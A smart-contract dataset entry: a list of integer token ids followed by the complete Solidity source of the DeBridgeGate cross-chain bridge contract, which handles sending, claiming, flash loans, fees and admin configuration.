22,
8906,
40,
7235,
38,
29,
71,
29,
19728,
23,
38,
31,
203,
565,
1758,
3238,
5381,
13846,
273,
374,
6511,
713,
73,
11290,
15237,
6028,
22,
39,
4763,
18212,
11149,
41,
26,
74,
10321,
28406,
3461,
26565,
37,
27,
74,
5558,
5482,
28,
31,
203,
565,
1758,
3238,
11732,
276,
1345,
31,
203,
203,
565,
2254,
1071,
1613,
273,
374,
18,
3028,
380,
404,
73,
2643,
31,
203,
203,
565,
3885,
12,
203,
3639,
1758,
389,
5723,
16,
203,
3639,
1758,
389,
26983,
16,
2
] |
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.7;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol";
import "../interfaces/IERC20Permit.sol";
import "../interfaces/IDeBridgeToken.sol";
import "../interfaces/IDeBridgeTokenDeployer.sol";
import "../interfaces/ISignatureVerifier.sol";
import "../interfaces/IWETH.sol";
import "../interfaces/IDeBridgeGate.sol";
import "../interfaces/ICallProxy.sol";
import "../interfaces/IFlashCallback.sol";
import "../libraries/SignatureUtil.sol";
import "../libraries/Flags.sol";
import "../interfaces/IWethGate.sol";
contract DeBridgeGate is
Initializable,
AccessControlUpgradeable,
PausableUpgradeable,
ReentrancyGuardUpgradeable,
IDeBridgeGate
{
using SafeERC20 for IERC20;
using SignatureUtil for bytes;
using Flags for uint256;
/* ========== STATE VARIABLES ========== */
// Basis points or bps equal to 1/10000
// used to express relative values (fees)
uint256 public constant BPS_DENOMINATOR = 10000;
bytes32 public constant GOVMONITORING_ROLE = keccak256("GOVMONITORING_ROLE"); // role allowed to stop transfers
address public deBridgeTokenDeployer;
address public signatureVerifier; // current signatureVerifier address to verify signatures
// address public confirmationAggregator; // current aggregator address to verify by oracles confirmations
uint8 public excessConfirmations; // minimal required confirmations in case of too many confirmations
uint256 public flashFeeBps; // fee in basis points (1/10000)
uint256 public nonce; //outgoing submissions count
mapping(bytes32 => DebridgeInfo) public getDebridge; // debridgeId (i.e. hash(native chainId, native tokenAddress)) => token
mapping(bytes32 => DebridgeFeeInfo) public getDebridgeFeeInfo;
mapping(bytes32 => bool) public override isSubmissionUsed; // submissionId (i.e. hash( debridgeId, amount, receiver, nonce)) => whether is claimed
mapping(bytes32 => bool) public isBlockedSubmission; // submissionId => is blocked
mapping(bytes32 => uint256) public getAmountThreshold; // debridge => amount threshold
mapping(uint256 => ChainSupportInfo) public getChainToConfig; // whether the chain for the asset is supported to send
mapping(uint256 => ChainSupportInfo) public getChainFromConfig;// whether the chain for the asset is supported to claim
mapping(address => DiscountInfo) public feeDiscount; //fee discount for address
mapping(address => TokenInfo) public getNativeInfo; //return native token info by wrapped token address
address public defiController; // proxy to use the locked assets in Defi protocols
address public feeProxy; // proxy to convert the collected fees into Link's
address public callProxy; // proxy to execute user's calls
IWETH public weth; // wrapped native token contract
address public feeContractUpdater; // contract address that can override globalFixedNativeFee
uint256 public globalFixedNativeFee;
uint16 public globalTransferFeeBps;
IWethGate public wethGate;
bool public lockedClaim; //locker for claim method
/* ========== ERRORS ========== */
error FeeProxyBadRole();
error DefiControllerBadRole();
error FeeContractUpdaterBadRole();
error AdminBadRole();
error GovMonitoringBadRole();
error DebridgeNotFound();
error WrongChainTo();
error WrongChainFrom();
error WrongArgument();
error WrongAutoArgument();
error TransferAmountTooHigh();
error NotSupportedFixedFee();
error TransferAmountNotCoverFees();
error InvalidTokenToSend();
error SubmissionUsed();
error SubmissionNotConfirmed();
error SubmissionAmountNotConfirmed();
error SubmissionBlocked();
error AmountMismatch();
error AssetAlreadyExist();
error AssetNotConfirmed();
error ZeroAddress();
error ProposedFeeTooHigh();
error FeeNotPaid();
error NotEnoughReserves();
error EthTransferFailed();
error Locked();
/* ========== MODIFIERS ========== */
modifier onlyFeeProxy() {
if (feeProxy != msg.sender) revert FeeProxyBadRole();
_;
}
modifier onlyDefiController() {
if (defiController != msg.sender) revert DefiControllerBadRole();
_;
}
modifier onlyFeeContractUpdater() {
if (feeContractUpdater != msg.sender) revert FeeContractUpdaterBadRole();
_;
}
modifier onlyAdmin() {
if (!hasRole(DEFAULT_ADMIN_ROLE, msg.sender)) revert AdminBadRole();
_;
}
modifier onlyGovMonitoring() {
if (!hasRole(GOVMONITORING_ROLE, msg.sender)) revert GovMonitoringBadRole();
_;
}
/// @dev lock for claim method
modifier lockClaim() {
if (lockedClaim) revert Locked();
lockedClaim = true;
_;
lockedClaim = false;
}
/* ========== CONSTRUCTOR ========== */
/// @dev Constructor that initializes the most important configurations.
function initialize(
uint8 _excessConfirmations,
IWETH _weth
) public initializer {
excessConfirmations = _excessConfirmations;
weth = _weth;
_addAsset(
getDebridgeId(getChainId(), address(_weth)),
address(_weth),
abi.encodePacked(address(_weth)),
getChainId()
);
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
__ReentrancyGuard_init();
}
/* ========== send, claim ========== */
/// @dev Locks asset on the chain and enables withdraw on the other chain.
/// @param _tokenAddress Asset identifier.
/// @param _amount Amount to be transfered (note: the fee can be applyed).
/// @param _chainIdTo Chain id of the target chain.
/// @param _receiver Receiver address.
/// @param _permit deadline + signature for approving the spender by signature.
/// @param _useAssetFee use assets fee for pay protocol fix (work only for specials token)
/// @param _referralCode Referral code
/// @param _autoParams Auto params for external call in target network
function send(
address _tokenAddress,
uint256 _amount,
uint256 _chainIdTo,
bytes memory _receiver,
bytes memory _permit,
bool _useAssetFee,
uint32 _referralCode,
bytes calldata _autoParams
) external payable override nonReentrant whenNotPaused {
bytes32 debridgeId;
FeeParams memory feeParams;
uint256 amountAfterFee;
// the amount will be reduced by the protocol fee
(amountAfterFee, debridgeId, feeParams) = _send(
_permit,
_tokenAddress,
_amount,
_chainIdTo,
_useAssetFee
);
SubmissionAutoParamsTo memory autoParams = _validateAutoParams(_autoParams, amountAfterFee);
amountAfterFee -= autoParams.executionFee;
// round down amount in order not to bridge dust
amountAfterFee = _normalizeTokenAmount(_tokenAddress, amountAfterFee);
bytes32 submissionId = getSubmissionIdTo(
debridgeId,
_chainIdTo,
amountAfterFee,
_receiver,
autoParams,
_autoParams.length > 0
);
emit Sent(
submissionId,
debridgeId,
amountAfterFee,
_receiver,
nonce,
_chainIdTo,
_referralCode,
feeParams,
_autoParams,
msg.sender
);
nonce++;
}
/// @dev Unlock the asset on the current chain and transfer to receiver.
/// @param _debridgeId Asset identifier.
/// @param _amount Amount of the transfered asset (note: the fee can be applyed).
/// @param _chainIdFrom Chain where submission was sent
/// @param _receiver Receiver address.
/// @param _nonce Submission id.
/// @param _signatures Validators signatures to confirm
/// @param _autoParams Auto params for external call
function claim(
bytes32 _debridgeId,
uint256 _amount,
uint256 _chainIdFrom,
address _receiver,
uint256 _nonce,
bytes calldata _signatures,
bytes calldata _autoParams
) external override lockClaim whenNotPaused {
if (!getChainFromConfig[_chainIdFrom].isSupported) revert WrongChainFrom();
SubmissionAutoParamsFrom memory autoParams;
if (_autoParams.length > 0) {
autoParams = abi.decode(_autoParams, (SubmissionAutoParamsFrom));
}
bytes32 submissionId = getSubmissionIdFrom(
_debridgeId,
_chainIdFrom,
_amount,
_receiver,
_nonce,
autoParams,
_autoParams.length > 0
);
// check if submission already claimed
if (isSubmissionUsed[submissionId]) revert SubmissionUsed();
isSubmissionUsed[submissionId] = true;
_checkConfirmations(submissionId, _debridgeId, _amount, _signatures);
bool isNativeToken =_claim(
submissionId,
_debridgeId,
_receiver,
_amount,
_chainIdFrom,
autoParams
);
emit Claimed(
submissionId,
_debridgeId,
_amount,
_receiver,
_nonce,
_chainIdFrom,
_autoParams,
isNativeToken
);
}
function flash(
address _tokenAddress,
address _receiver,
uint256 _amount,
bytes memory _data
) external override nonReentrant whenNotPaused // noDelegateCall
{
bytes32 debridgeId = getDebridgeId(getChainId(), _tokenAddress);
if (!getDebridge[debridgeId].exist) revert DebridgeNotFound();
uint256 currentFlashFee = (_amount * flashFeeBps) / BPS_DENOMINATOR;
uint256 balanceBefore = IERC20(_tokenAddress).balanceOf(address(this));
IERC20(_tokenAddress).safeTransfer(_receiver, _amount);
IFlashCallback(msg.sender).flashCallback(currentFlashFee, _data);
uint256 balanceAfter = IERC20(_tokenAddress).balanceOf(address(this));
if (balanceBefore + currentFlashFee > balanceAfter) revert FeeNotPaid();
uint256 paid = balanceAfter - balanceBefore;
getDebridgeFeeInfo[debridgeId].collectedFees += paid;
emit Flash(msg.sender, _tokenAddress, _receiver, _amount, paid);
}
function deployNewAsset(
bytes memory _nativeTokenAddress,
uint256 _nativeChainId,
string memory _name,
string memory _symbol,
uint8 _decimals,
bytes memory _signatures
) external nonReentrant whenNotPaused{
bytes32 debridgeId = getbDebridgeId(_nativeChainId, _nativeTokenAddress);
if (getDebridge[debridgeId].exist) revert AssetAlreadyExist();
bytes32 deployId = keccak256(abi.encodePacked(debridgeId, _name, _symbol, _decimals));
// verify signatures
ISignatureVerifier(signatureVerifier).submit(deployId, _signatures, excessConfirmations);
address deBridgeTokenAddress = IDeBridgeTokenDeployer(deBridgeTokenDeployer)
.deployAsset(debridgeId, _name, _symbol, _decimals);
_addAsset(debridgeId, deBridgeTokenAddress, _nativeTokenAddress, _nativeChainId);
}
/// @dev Update native fix fee. called by our fee update contract
/// @param _globalFixedNativeFee new value
function autoUpdateFixedNativeFee(
uint256 _globalFixedNativeFee
) external onlyFeeContractUpdater {
globalFixedNativeFee = _globalFixedNativeFee;
emit FixedNativeFeeAutoUpdated(_globalFixedNativeFee);
}
/* ========== ADMIN ========== */
/// @dev Update asset's fees.
/// @param _chainIds Chain identifiers.
/// @param _chainSupportInfo Chain support info.
/// @param _isChainFrom is true for editing getChainFromConfig.
function updateChainSupport(
uint256[] memory _chainIds,
ChainSupportInfo[] memory _chainSupportInfo,
bool _isChainFrom
) external onlyAdmin {
if (_chainIds.length != _chainSupportInfo.length) revert WrongArgument();
for (uint256 i = 0; i < _chainIds.length; i++) {
if(_isChainFrom){
getChainFromConfig[_chainIds[i]] = _chainSupportInfo[i];
}
else {
getChainToConfig[_chainIds[i]] = _chainSupportInfo[i];
}
emit ChainsSupportUpdated(_chainIds[i], _chainSupportInfo[i], _isChainFrom);
}
}
function updateGlobalFee(
uint256 _globalFixedNativeFee,
uint16 _globalTransferFeeBps
) external onlyAdmin {
globalFixedNativeFee = _globalFixedNativeFee;
globalTransferFeeBps = _globalTransferFeeBps;
emit FixedNativeFeeUpdated(_globalFixedNativeFee, _globalTransferFeeBps);
}
/// @dev Update asset's fees.
/// @param _debridgeId Asset identifier.
/// @param _supportedChainIds Chain identifiers.
/// @param _assetFeesInfo Chain support info.
function updateAssetFixedFees(
bytes32 _debridgeId,
uint256[] memory _supportedChainIds,
uint256[] memory _assetFeesInfo
) external onlyAdmin {
if (_supportedChainIds.length != _assetFeesInfo.length) revert WrongArgument();
DebridgeFeeInfo storage debridgeFee = getDebridgeFeeInfo[_debridgeId];
for (uint256 i = 0; i < _supportedChainIds.length; i++) {
debridgeFee.getChainFee[_supportedChainIds[i]] = _assetFeesInfo[i];
}
}
function updateExcessConfirmations(uint8 _excessConfirmations) external onlyAdmin {
if (_excessConfirmations == 0) revert WrongArgument();
excessConfirmations = _excessConfirmations;
}
/// @dev Set support for the chains where the token can be transfered.
/// @param _chainId Chain id where tokens are sent.
/// @param _isSupported Whether the token is transferable to the other chain.
/// @param _isChainFrom is true for editing getChainFromConfig.
function setChainSupport(uint256 _chainId, bool _isSupported, bool _isChainFrom) external onlyAdmin {
if (_isChainFrom) {
getChainFromConfig[_chainId].isSupported = _isSupported;
}
else {
getChainToConfig[_chainId].isSupported = _isSupported;
}
emit ChainSupportUpdated(_chainId, _isSupported, _isChainFrom);
}
/// @dev Set proxy address.
/// @param _callProxy Address of the proxy that executes external calls.
function setCallProxy(address _callProxy) external onlyAdmin {
callProxy = _callProxy;
emit CallProxyUpdated(_callProxy);
}
/// @dev Add support for the asset.
/// @param _debridgeId Asset identifier.
/// @param _maxAmount Maximum amount of current chain token to be wrapped.
/// @param _minReservesBps Minimal reserve ration in BPS.
function updateAsset(
bytes32 _debridgeId,
uint256 _maxAmount,
uint16 _minReservesBps,
uint256 _amountThreshold
) external onlyAdmin {
if (_minReservesBps > BPS_DENOMINATOR) revert WrongArgument();
DebridgeInfo storage debridge = getDebridge[_debridgeId];
// don't check existance of debridge - it allows to setup asset before first transfer
debridge.maxAmount = _maxAmount;
debridge.minReservesBps = _minReservesBps;
getAmountThreshold[_debridgeId] = _amountThreshold;
}
/// @dev Set signature verifier address.
/// @param _verifier Signature verifier address.
function setSignatureVerifier(address _verifier) external onlyAdmin {
signatureVerifier = _verifier;
}
/// @dev Set asset deployer address.
/// @param _deBridgeTokenDeployer Asset deployer address.
function setDeBridgeTokenDeployer(address _deBridgeTokenDeployer) external onlyAdmin {
deBridgeTokenDeployer = _deBridgeTokenDeployer;
}
/// @dev Set defi controoler.
/// @param _defiController Defi controller address address.
function setDefiController(address _defiController) external onlyAdmin {
defiController = _defiController;
}
/// @dev Set fee contract updater, that can update fix native fee
/// @param _value new contract address.
function setFeeContractUpdater(address _value) external onlyAdmin {
feeContractUpdater = _value;
}
/// @dev Set wethGate contract, that uses for weth withdraws affected by EIP1884
/// @param _wethGate address of new wethGate contract.
function setWethGate(IWethGate _wethGate) external onlyAdmin {
wethGate = _wethGate;
}
/// @dev Stop all transfers.
function pause() external onlyGovMonitoring {
_pause();
}
/// @dev Allow transfers.
function unpause() external onlyAdmin whenPaused {
_unpause();
}
/// @dev Withdraw fees.
/// @param _debridgeId Asset identifier.
function withdrawFee(bytes32 _debridgeId) external override nonReentrant onlyFeeProxy {
DebridgeFeeInfo storage debridgeFee = getDebridgeFeeInfo[_debridgeId];
// Amount for transfer to treasury
uint256 amount = debridgeFee.collectedFees - debridgeFee.withdrawnFees;
if (amount == 0) revert NotEnoughReserves();
debridgeFee.withdrawnFees += amount;
if (_debridgeId == getDebridgeId(getChainId(), address(0))) {
_safeTransferETH(feeProxy, amount);
} else {
// don't need this check as we check that amount is not zero
// if (!getDebridge[_debridgeId].exist) revert DebridgeNotFound();
IERC20(getDebridge[_debridgeId].tokenAddress).safeTransfer(feeProxy, amount);
}
emit WithdrawnFee(_debridgeId, amount);
}
/// @dev Request the assets to be used in defi protocol.
/// @param _tokenAddress Asset address.
/// @param _amount Amount of tokens to request.
function requestReserves(address _tokenAddress, uint256 _amount)
external
override
onlyDefiController
nonReentrant
{
bytes32 debridgeId = getDebridgeId(getChainId(), _tokenAddress);
DebridgeInfo storage debridge = getDebridge[debridgeId];
if (!debridge.exist) revert DebridgeNotFound();
uint256 minReserves = (debridge.balance * debridge.minReservesBps) / BPS_DENOMINATOR;
if (minReserves + _amount > IERC20(_tokenAddress).balanceOf(address(this)))
revert NotEnoughReserves();
debridge.lockedInStrategies += _amount;
IERC20(_tokenAddress).safeTransfer(defiController, _amount);
}
/// @dev Return the assets that were used in defi protocol.
/// @param _tokenAddress Asset address.
/// @param _amount Amount of tokens to claim.
function returnReserves(address _tokenAddress, uint256 _amount)
external
override
onlyDefiController
nonReentrant
{
bytes32 debridgeId = getDebridgeId(getChainId(), _tokenAddress);
DebridgeInfo storage debridge = getDebridge[debridgeId];
if (!debridge.exist) revert DebridgeNotFound();
debridge.lockedInStrategies -= _amount;
IERC20(debridge.tokenAddress).safeTransferFrom(
defiController,
address(this),
_amount
);
}
/// @dev Set fee converter proxy.
/// @param _feeProxy Fee proxy address.
function setFeeProxy(address _feeProxy) external onlyAdmin {
feeProxy = _feeProxy;
}
function blockSubmission(bytes32[] memory _submissionIds, bool isBlocked) external onlyAdmin {
for (uint256 i = 0; i < _submissionIds.length; i++) {
isBlockedSubmission[_submissionIds[i]] = isBlocked;
if (isBlocked) {
emit Blocked(_submissionIds[i]);
} else {
emit Unblocked(_submissionIds[i]);
}
}
}
/// @dev Update flash fees.
/// @param _flashFeeBps new fee in BPS
function updateFlashFee(uint256 _flashFeeBps) external onlyAdmin {
if (_flashFeeBps > BPS_DENOMINATOR) revert WrongArgument();
flashFeeBps = _flashFeeBps;
}
/// @dev Update discount.
/// @param _address customer address
/// @param _discountFixBps fix discount in BPS
/// @param _discountTransferBps transfer % discount in BPS
function updateFeeDiscount(
address _address,
uint16 _discountFixBps,
uint16 _discountTransferBps
) external onlyAdmin {
if (_address == address(0) ||
_discountFixBps > BPS_DENOMINATOR ||
_discountTransferBps > BPS_DENOMINATOR
) revert WrongArgument();
DiscountInfo storage discountInfo = feeDiscount[_address];
discountInfo.discountFixBps = _discountFixBps;
discountInfo.discountTransferBps = _discountTransferBps;
}
// we need to accept ETH sends to unwrap WETH
receive() external payable {
// assert(msg.sender == address(weth)); // only accept ETH via fallback from the WETH contract
}
/* ========== INTERNAL ========== */
function _checkConfirmations(
bytes32 _submissionId,
bytes32 _debridgeId,
uint256 _amount,
bytes calldata _signatures
) internal {
if (isBlockedSubmission[_submissionId]) revert SubmissionBlocked();
// inside check is confirmed
ISignatureVerifier(signatureVerifier).submit(
_submissionId,
_signatures,
_amount >= getAmountThreshold[_debridgeId] ? excessConfirmations : 0
);
}
/// @dev Add support for the asset.
/// @param _debridgeId Asset identifier.
/// @param _tokenAddress Address of the asset on the current chain.
/// @param _nativeAddress Address of the asset on the native chain.
/// @param _nativeChainId Native chain id.
function _addAsset(
bytes32 _debridgeId,
address _tokenAddress,
bytes memory _nativeAddress,
uint256 _nativeChainId
) internal {
DebridgeInfo storage debridge = getDebridge[_debridgeId];
if (debridge.exist) revert AssetAlreadyExist();
if (_tokenAddress == address(0)) revert ZeroAddress();
debridge.exist = true;
debridge.tokenAddress = _tokenAddress;
debridge.chainId = _nativeChainId;
// Don't override if the admin already set maxAmount in updateAsset method before
if (debridge.maxAmount == 0) {
debridge.maxAmount = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
}
// debridge.minReservesBps = BPS;
if (getAmountThreshold[_debridgeId] == 0) {
getAmountThreshold[
_debridgeId
] = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
}
TokenInfo storage tokenInfo = getNativeInfo[_tokenAddress];
tokenInfo.nativeChainId = _nativeChainId;
tokenInfo.nativeAddress = _nativeAddress;
emit PairAdded(
_debridgeId,
_tokenAddress,
_nativeAddress,
_nativeChainId,
debridge.maxAmount,
debridge.minReservesBps
);
}
/// @dev Locks asset on the chain and enables minting on the other chain.
/// @param _amount Amount to be transfered (note: the fee can be applyed).
/// @param _chainIdTo Chain id of the target chain.
/// @param _permit deadline + signature for approving the spender by signature.
function _send(
bytes memory _permit,
address _tokenAddress,
uint256 _amount,
uint256 _chainIdTo,
bool _useAssetFee
) internal returns (
// bool isNativeToken,
uint256 amountAfterFee,
bytes32 debridgeId,
FeeParams memory feeParams
) {
_validateToken(_tokenAddress);
// Run _permit first. Avoid Stack too deep
if (_permit.length > 0) {
// call permit before transfering token
uint256 deadline = _permit.toUint256(0);
(bytes32 r, bytes32 s, uint8 v) = _permit.parseSignature(32);
IERC20Permit(_tokenAddress).permit(
msg.sender,
address(this),
_amount,
deadline,
v,
r,
s);
}
TokenInfo memory nativeTokenInfo = getNativeInfo[_tokenAddress];
bool isNativeToken = nativeTokenInfo.nativeChainId == 0
? true // token not in mapping
: nativeTokenInfo.nativeChainId == getChainId(); // token native chain id the same
if (isNativeToken) {
//We use WETH debridgeId for transfer ETH
debridgeId = getDebridgeId(
getChainId(),
_tokenAddress == address(0) ? address(weth) : _tokenAddress
);
}
else {
debridgeId = getbDebridgeId(
nativeTokenInfo.nativeChainId,
nativeTokenInfo.nativeAddress
);
}
DebridgeInfo storage debridge = getDebridge[debridgeId];
if (!debridge.exist) {
if (isNativeToken) {
_addAsset(
debridgeId,
_tokenAddress == address(0) ? address(weth) : _tokenAddress,
abi.encodePacked(_tokenAddress),
getChainId()
);
} else revert DebridgeNotFound();
}
ChainSupportInfo memory chainFees = getChainToConfig[_chainIdTo];
if (!chainFees.isSupported) revert WrongChainTo();
if (_amount > debridge.maxAmount) revert TransferAmountTooHigh();
if (_tokenAddress == address(0)) {
if (msg.value < _amount) revert AmountMismatch();
else if (msg.value > _amount) {
// refund extra eth
payable(msg.sender).transfer(msg.value - _amount);
}
weth.deposit{value: _amount}();
_useAssetFee = true;
} else {
IERC20 token = IERC20(_tokenAddress);
uint256 balanceBefore = token.balanceOf(address(this));
token.safeTransferFrom(msg.sender, address(this), _amount);
// Received real amount
_amount = token.balanceOf(address(this)) - balanceBefore;
}
//_processFeeForTransfer
{
DiscountInfo memory discountInfo = feeDiscount[msg.sender];
DebridgeFeeInfo storage debridgeFee = getDebridgeFeeInfo[debridgeId];
// calculate fixed fee
uint256 assetsFixedFee;
if (_useAssetFee) {
assetsFixedFee = debridgeFee.getChainFee[_chainIdTo];
if (assetsFixedFee == 0) revert NotSupportedFixedFee();
// Apply discount for a asset fixed fee
assetsFixedFee -= assetsFixedFee * discountInfo.discountFixBps / BPS_DENOMINATOR;
feeParams.fixFee = assetsFixedFee;
} else {
// collect native fees
// use globalFixedNativeFee if value for chain is not setted
uint256 nativeFee = chainFees.fixedNativeFee == 0 ? globalFixedNativeFee : chainFees.fixedNativeFee;
// Apply discount for a fixed fee
nativeFee -= nativeFee * discountInfo.discountFixBps / BPS_DENOMINATOR;
if (msg.value < nativeFee) revert TransferAmountNotCoverFees();
else if (msg.value > nativeFee) {
// refund extra fee eth
payable(msg.sender).transfer(msg.value - nativeFee);
}
bytes32 nativeDebridgeId = getDebridgeId(getChainId(), address(0));
getDebridgeFeeInfo[nativeDebridgeId].collectedFees += nativeFee;
feeParams.fixFee = nativeFee;
}
// Calculate transfer fee
if (chainFees.transferFeeBps == 0) {
// use globalTransferFeeBps if value for chain is not setted
chainFees.transferFeeBps = globalTransferFeeBps;
}
uint256 transferFee = (_amount * chainFees.transferFeeBps) / BPS_DENOMINATOR;
// apply discount for a transfer fee
transferFee -= transferFee * discountInfo.discountTransferBps / BPS_DENOMINATOR;
uint256 totalFee = transferFee + assetsFixedFee;
if (_amount < totalFee) revert TransferAmountNotCoverFees();
debridgeFee.collectedFees += totalFee;
amountAfterFee = _amount - totalFee;
// initialize feeParams
// feeParams.fixFee = _useAssetFee ? assetsFixedFee : msg.value;
feeParams.transferFee = transferFee;
feeParams.useAssetFee = _useAssetFee;
feeParams.receivedAmount = _amount;
feeParams.isNativeToken = isNativeToken;
}
// Is native token
if (isNativeToken) {
debridge.balance += amountAfterFee;
}
else {
debridge.balance -= amountAfterFee;
IDeBridgeToken(debridge.tokenAddress).burn(amountAfterFee);
}
return (amountAfterFee, debridgeId, feeParams);
}
function _validateToken(address _token) internal {
if (_token == address(0)) {
// no validation for native tokens
return;
}
// check existance of decimals method
(bool success, ) = _token.call(abi.encodeWithSignature("decimals()"));
if (!success) revert InvalidTokenToSend();
// check existance of symbol method
(success, ) = _token.call(abi.encodeWithSignature("symbol()"));
if (!success) revert InvalidTokenToSend();
}
function _validateAutoParams(
bytes calldata _autoParams,
uint256 _amount
) internal pure returns (SubmissionAutoParamsTo memory autoParams) {
if (_autoParams.length > 0) {
autoParams = abi.decode(_autoParams, (SubmissionAutoParamsTo));
if (autoParams.executionFee > _amount) revert ProposedFeeTooHigh();
if (autoParams.data.length > 0 && autoParams.fallbackAddress.length == 0 ) revert WrongAutoArgument();
}
}
/// @dev Unlock the asset on the current chain and transfer to receiver.
/// @param _debridgeId Asset identifier.
/// @param _receiver Receiver address.
/// @param _amount Amount of the transfered asset (note: the fee can be applyed).
function _claim(
bytes32 _submissionId,
bytes32 _debridgeId,
address _receiver,
uint256 _amount,
uint256 _chainIdFrom,
SubmissionAutoParamsFrom memory _autoParams
) internal returns (bool isNativeToken) {
DebridgeInfo storage debridge = getDebridge[_debridgeId];
if (!debridge.exist) revert DebridgeNotFound();
// if (debridge.chainId != getChainId()) revert WrongChain();
isNativeToken = debridge.chainId == getChainId();
if (isNativeToken) {
debridge.balance -= _amount + _autoParams.executionFee;
} else {
debridge.balance += _amount + _autoParams.executionFee;
}
address _token = debridge.tokenAddress;
bool unwrapETH = isNativeToken
&& _autoParams.flags.getFlag(Flags.UNWRAP_ETH)
&& _token == address(weth);
if (_autoParams.executionFee > 0) {
_mintOrTransfer(_token, msg.sender, _autoParams.executionFee, isNativeToken);
}
if (_autoParams.data.length > 0) {
// use local variable to reduce gas usage
address _callProxy = callProxy;
bool status;
if (unwrapETH) {
// withdraw weth to callProxy directly
_withdrawWeth(_callProxy, _amount);
status = ICallProxy(_callProxy).call(
_autoParams.fallbackAddress,
_receiver,
_autoParams.data,
_autoParams.flags,
_autoParams.nativeSender,
_chainIdFrom
);
}
else {
_mintOrTransfer(_token, _callProxy, _amount, isNativeToken);
status = ICallProxy(_callProxy).callERC20(
_token,
_autoParams.fallbackAddress,
_receiver,
_autoParams.data,
_autoParams.flags,
_autoParams.nativeSender,
_chainIdFrom
);
}
emit AutoRequestExecuted(_submissionId, status, _callProxy);
} else if (unwrapETH) {
// transferring WETH with unwrap flag
_withdrawWeth(_receiver, _amount);
} else {
_mintOrTransfer(_token, _receiver, _amount, isNativeToken);
}
}
function _mintOrTransfer(
address _token,
address _receiver,
uint256 _amount,
bool isNativeToken
) internal {
if (isNativeToken) {
IERC20(_token).safeTransfer(_receiver, _amount);
} else {
IDeBridgeToken(_token).mint(_receiver, _amount);
}
}
/*
* @dev transfer ETH to an address, revert if it fails.
* @param to recipient of the transfer
* @param value the amount to send
*/
function _safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
if (!success) revert EthTransferFailed();
}
function _withdrawWeth(address _receiver, uint _amount) internal {
if (address(wethGate) == address(0)) {
// dealing with weth withdraw affected by EIP1884
weth.withdraw(_amount);
_safeTransferETH(_receiver, _amount);
}
else {
IERC20(address(weth)).safeTransfer(address(wethGate), _amount);
wethGate.withdraw(_receiver, _amount);
}
}
/*
* @dev round down token amount
* @param _token address of token, zero for native tokens
* @param __amount amount for rounding
*/
function _normalizeTokenAmount(
address _token,
uint256 _amount
) internal view returns (uint256) {
uint256 decimals = _token == address(0)
? 18
: IERC20Metadata(_token).decimals();
uint256 maxDecimals = 8;
if (decimals > maxDecimals) {
uint256 multiplier = 10 ** (decimals - maxDecimals);
_amount = _amount / multiplier * multiplier;
}
return _amount;
}
/* VIEW */
function getDefiAvaliableReserves(address _tokenAddress)
external
view
override
returns (uint256)
{
DebridgeInfo storage debridge = getDebridge[getDebridgeId(getChainId(), _tokenAddress)];
return (debridge.balance * (BPS_DENOMINATOR - debridge.minReservesBps)) / BPS_DENOMINATOR;
}
/// @dev Calculates asset identifier.
/// @param _chainId Current chain id.
/// @param _tokenAddress Address of the asset on the other chain.
function getDebridgeId(uint256 _chainId, address _tokenAddress) public pure returns (bytes32) {
return keccak256(abi.encodePacked(_chainId, _tokenAddress));
}
/// @dev Calculates asset identifier.
/// @param _chainId Current chain id.
/// @param _tokenAddress Address of the asset on the other chain.
function getbDebridgeId(uint256 _chainId, bytes memory _tokenAddress) public pure returns (bytes32) {
return keccak256(abi.encodePacked(_chainId, _tokenAddress));
}
/// @dev Returns asset fixed fee value for specified debridge and chainId.
/// @param _debridgeId Asset identifier.
/// @param _chainId Chain id.
function getDebridgeChainAssetFixedFee(
bytes32 _debridgeId,
uint256 _chainId
) external view override returns (uint256) {
// if (!getDebridge[_debridgeId].exist) revert DebridgeNotFound();
return getDebridgeFeeInfo[_debridgeId].getChainFee[_chainId];
}
/// @dev Calculate submission id for auto claimable transfer.
/// @param _debridgeId Asset identifier.
/// @param _chainIdFrom Chain identifier of the chain where tokens are sent from.
/// @param _receiver Receiver address.
/// @param _amount Amount of the transfered asset (note: the fee can be applyed).
/// @param _nonce Submission id.
function getSubmissionIdFrom(
bytes32 _debridgeId,
uint256 _chainIdFrom,
uint256 _amount,
address _receiver,
uint256 _nonce,
SubmissionAutoParamsFrom memory autoParams,
bool hasAutoParams
) public view returns (bytes32) {
bytes memory packedSubmission = abi.encodePacked(
_debridgeId,
_chainIdFrom,
getChainId(),
_amount,
_receiver,
_nonce
);
if (hasAutoParams) {
// auto submission
return keccak256(
abi.encodePacked(
packedSubmission,
autoParams.executionFee,
autoParams.flags,
autoParams.fallbackAddress,
autoParams.data,
autoParams.nativeSender
)
);
}
// regular submission
return keccak256(packedSubmission);
}
function getSubmissionIdTo(
bytes32 _debridgeId,
uint256 _chainIdTo,
uint256 _amount,
bytes memory _receiver,
SubmissionAutoParamsTo memory autoParams,
bool hasAutoParams
) private view returns (bytes32) {
bytes memory packedSubmission = abi.encodePacked(
_debridgeId,
getChainId(),
_chainIdTo,
_amount,
_receiver,
nonce
);
if (hasAutoParams) {
// auto submission
return keccak256(
abi.encodePacked(
packedSubmission,
autoParams.executionFee,
autoParams.flags,
autoParams.fallbackAddress,
autoParams.data,
msg.sender
)
);
}
// regular submission
return keccak256(packedSubmission);
}
function getNativeTokenInfo(address currentTokenAddress)
external
view
override
returns (uint256 nativeChainId, bytes memory nativeAddress)
{
TokenInfo memory tokenInfo = getNativeInfo[currentTokenAddress];
return (tokenInfo.nativeChainId, tokenInfo.nativeAddress);
}
function getChainId() public view virtual returns (uint256 cid) {
assembly {
cid := chainid()
}
}
// ============ Version Control ============
function version() external pure returns (uint256) {
return 120; // 1.2.0
}
}
